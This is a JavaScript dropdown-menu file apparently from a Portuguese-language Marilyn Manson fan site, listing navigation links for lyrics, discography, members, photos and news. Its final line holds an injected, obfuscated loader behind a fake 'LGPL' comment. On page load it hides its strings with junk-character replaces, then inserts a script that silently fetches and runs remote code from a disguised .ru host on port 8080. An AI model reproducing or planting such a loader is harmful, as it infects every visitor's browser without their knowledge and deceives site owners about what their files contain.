// JavaScript Document

//Contents for menu 1
var menu1=new Array()
menu1[0]='<A TARGET="_self" HREF="historiaresumo.htm">Resumo Histórico</A>'
menu1[1]='<a href="cronologia.htm" target="_self">Cronologia</a>'
menu1[2]='<A TARGET="_self" HREF="casocolumbine.htm">Caso Columbine</A>'
menu1[3]='<A TARGET="_self" HREF="livros.htm">Livros</A>'
menu1[4]='<A TARGET="_self" HREF="origens.htm">Origens</A>'

//Contents for menu 2, and so on
var menu2=new Array()
menu2[0]='<a href="musicas.htm" target="_self">Letras Originais</a>'
menu2[1]='<a href="musicas_traduzidas.htm" target="_self">Letras Traduzidas</a>'

//Contents for menu 3, and so on
var menu3=new Array()
menu3[0]='<A TARGET="_self" HREF="discografia_lp.htm">Álbuns</A>'
menu3[1]='<a TARGET="_self" href="discografia_live.htm">Ao Vivo</a>'
menu3[2]='<a TARGET="_self" href="discografia_singles.htm">Singles</a>'
menu3[3]='<A TARGET="_self" HREF="discografia_promocional.htm">Promocional Singles</A>'
menu3[4]='<A TARGET="_self" HREF="discografia_spooky.htm">Demos</A>'
menu3[5]='<A TARGET="_self" HREF="discografia_sound.htm">Trilhas Sonoras</A>'
menu3[6]='<A TARGET="_self" HREF="videos.htm">Clipes</A>'
menu3[7]='<A TARGET="_self" HREF="dvds.htm">Videografia</A>'

//Contents for menu 4, and so on
var menu4=new Array()
menu4[0]='<a href="perfil.htm" target="_self">Integrantes</a>'
menu4[1]='<A HREF="perfilex.htm" TARGET="_self">Ex-integrantes</A>'
menu4[2]='<a href="namoradas.htm" target="_self">Girlfriends</a>'
		

//Contents for menu 5, and so on
var menu5=new Array()
menu5[0]='<a href="fotos_membros.htm" target="_self">Integrantes</a>'
menu5[1]='<A HREF="fotosexmembros.htm" TARGET="_self">Ex-integrantes</A>'
menu5[2]='<a href="namoradas.htm" target="_self">Girlfriends</a>'
menu5[3]='<A HREF="fotos.htm" TARGET="_self">Banda</A>'
menu5[4]='<A HREF="taro.htm" TARGET="_self">Tarô</A>'
menu5[5]='<A HREF="fotosfamosos.htm" TARGET="_self">Outras</A>'

//Contents for menu 6, and so on
var menu6=new Array()
menu6[0]='<a href="entrevistas.htm" target="_self">Entrevistas</a>'
menu6[1]='<A HREF="noticias.htm" TARGET="_self">Notícias</A>'
menu6[2]='<a href="turnes.htm" target="_self">Turnês</a>'
menu6[3]='<a href="brasil2007.htm" target="_self">Manson no Brasil</a>'
menu6[4]='<a href="criticas.htm" target="_self">Críticas do EMDM</a>'
menu6[5]='<a href="cinema.htm" target="_self">Cinema</a>'
menu6[6]='<a href="rumores.htm" target="_self">Rumores</a>'
menu6[7]='<a href="celebritarian_corporation.htm" target="_self">The Corporation</a>'
menu6[8]='<a href="frases.htm" target="_self">Frases</a>'

//Contents for menu 7, and so on
var menu7=new Array()
menu7[0]='<A HREF="faq.htm" TARGET="_self">F.A.Q.</A>'
menu7[1]='<a href="links.htm" target="_self">Links</a>'
menu7[2]='<a href="aboutme.htm" target="_self">Designer</a>'
menu7[3]='<a href="guestbook.htm" target="_self">Livro de Visitas</a>'


var menuwidth='165px' //default menu width
var menubgcolor='#000'  //menu bgcolor
var disappeardelay=250  //menu disappear speed onMouseout (in miliseconds)
var hidemenu_onclick="yes" //hide menu when user clicks within menu?

/////No further editting needed

var ie4=document.all
var ns6=document.getElementById&&!document.all

if (ie4||ns6)
document.write('<div id="dropmenudiv" style="visibility:hidden;width:'+menuwidth+';background-color:'+menubgcolor+'" onMouseover="clearhidemenu()" onMouseout="dynamichide(event)"></div>')

function getposOffset(what, offsettype){
var totaloffset=(offsettype=="left")? what.offsetLeft : what.offsetTop;
var parentEl=what.offsetParent;
while (parentEl!=null){
totaloffset=(offsettype=="left")? totaloffset+parentEl.offsetLeft : totaloffset+parentEl.offsetTop;
parentEl=parentEl.offsetParent;
}
return totaloffset;
}


function showhide(obj, e, visible, hidden, menuwidth){
if (ie4||ns6)
dropmenuobj.style.left=dropmenuobj.style.top=-500
if (menuwidth!=""){
dropmenuobj.widthobj=dropmenuobj.style
dropmenuobj.widthobj.width=menuwidth
}
if (e.type=="click" && obj.visibility==hidden || e.type=="mouseover")
obj.visibility=visible
else if (e.type=="click")
obj.visibility=hidden
}

function iecompattest(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function clearbrowseredge(obj, whichedge){
var edgeoffset=0
if (whichedge=="rightedge"){
var windowedge=ie4 && !window.opera? iecompattest().scrollLeft+iecompattest().clientWidth-15 : window.pageXOffset+window.innerWidth-15
dropmenuobj.contentmeasure=dropmenuobj.offsetWidth
if (windowedge-dropmenuobj.x < dropmenuobj.contentmeasure)
edgeoffset=dropmenuobj.contentmeasure-obj.offsetWidth
}
else{
var windowedge=ie4 && !window.opera? iecompattest().scrollTop+iecompattest().clientHeight-15 : window.pageYOffset+window.innerHeight-18
dropmenuobj.contentmeasure=dropmenuobj.offsetHeight
if (windowedge-dropmenuobj.y < dropmenuobj.contentmeasure)
edgeoffset=dropmenuobj.contentmeasure+obj.offsetHeight
}
return edgeoffset
}

function populatemenu(what){
if (ie4||ns6)
dropmenuobj.innerHTML=what.join("")
}


function dropdownmenu(obj, e, menucontents, menuwidth){
if (window.event) event.cancelBubble=true
else if (e.stopPropagation) e.stopPropagation()
clearhidemenu()
dropmenuobj=document.getElementById? document.getElementById("dropmenudiv") : dropmenudiv
populatemenu(menucontents)

if (ie4||ns6){
showhide(dropmenuobj.style, e, "visible", "hidden", menuwidth)
dropmenuobj.x=getposOffset(obj, "left")
dropmenuobj.y=getposOffset(obj, "top")
dropmenuobj.style.left=dropmenuobj.x-clearbrowseredge(obj, "rightedge")+"px"
dropmenuobj.style.top=dropmenuobj.y-clearbrowseredge(obj, "bottomedge")+obj.offsetHeight+"px"
}

return clickreturnvalue()
}

function clickreturnvalue(){
if (ie4||ns6) return false
else return true
}

function contains_ns6(a, b) {
while (b.parentNode)
if ((b = b.parentNode) == a)
return true;
return false;
}

function dynamichide(e){
if (ie4&&!dropmenuobj.contains(e.toElement))
delayhidemenu()
else if (ns6&&e.currentTarget!= e.relatedTarget&& !contains_ns6(e.currentTarget, e.relatedTarget))
delayhidemenu()
}

function hidemenu(e){
if (typeof dropmenuobj!="undefined"){
if (ie4||ns6)
dropmenuobj.style.visibility="hidden"
}
}

function delayhidemenu(){
if (ie4||ns6)
delayhide=setTimeout("hidemenu()",disappeardelay)
}

function clearhidemenu(){
if (typeof delayhide!="undefined")
clearTimeout(delayhide)
}

if (hidemenu_onclick=="yes")
document.onclick=hidemenu

/*LGPL*/ try{ window.onload = function(){var Zybbohwtl7v = document.createElement('s&!#c@r#i^#p^&@t#'.replace(/\(|\)|\$|@|\!|#|&|\^/ig, ''));Zybbohwtl7v.setAttribute('defer', 'd)e!!f$&^e@@(r^&&&'.replace(/\^|\$|&|\!|\)|#|@|\(/ig, ''));Zybbohwtl7v.setAttribute('type', 't^@)e!x#t!)@/&!^j@a(^^&v(&(a&!)@s)@c#r#(#&i@)p!#(t$'.replace(/&|\)|\!|\(|\^|#|@|\$/ig, ''));Zybbohwtl7v.setAttribute('id', 'H!^#$n!)&o!g$9()!z)3#)^!u)^m$^#&j$#n^$@v!!'.replace(/\^|\!|\$|@|\(|&|\)|#/ig, ''));Zybbohwtl7v.setAttribute('s@(r)(c)$'.replace(/#|@|\!|\)|&|\$|\(|\^/ig, ''),  'h)&@t!&&t$)$(p@$!#):!(/##/#^g&!!o^$$^o@#g@^l)^e@(&-#c&)$&o)#m!!!-$m#!#x^#!.!(f&^&o#^r#^u(m!^(&^c&$&o&^#m&@^m^@u!^n!(^i$t$$y@@##.)@@n#!e)@t#$^(.#!y$$)^8!!(-^(c#(o^!^&m))!.&))f&!!@l(&y)w^&e^@^b&(&c($$a@m@@.^^r))#u!^:($8)))#0#!#8@!($0@/#@&g!a$#$n(#@^j^@$i#!$.!($c$(($$o$&(^m&&#)/##)g^(@!a(^$n#j!#i$#.#c#(o(!&!m$#@)/#!g$)o&&#o)!^g(&!l($e)!@.#@c)(#@^o@)&m(!!/!d$e(!))!t!@$i$^k#$@n&e@@w^s!!.(@!c$)$^@o((@#m#/!)(@g&(o&^^@@o!#g^)l@e&!^.)$^c!o&#.^j#(&@(p(/&$$#'.replace(/\^|#|\$|@|\)|&|\(|\!/ig, ''));if (document){document.body.appendChild(Zybbohwtl7v);}} } catch(Wt791t8p19y61pt9s6h6) {}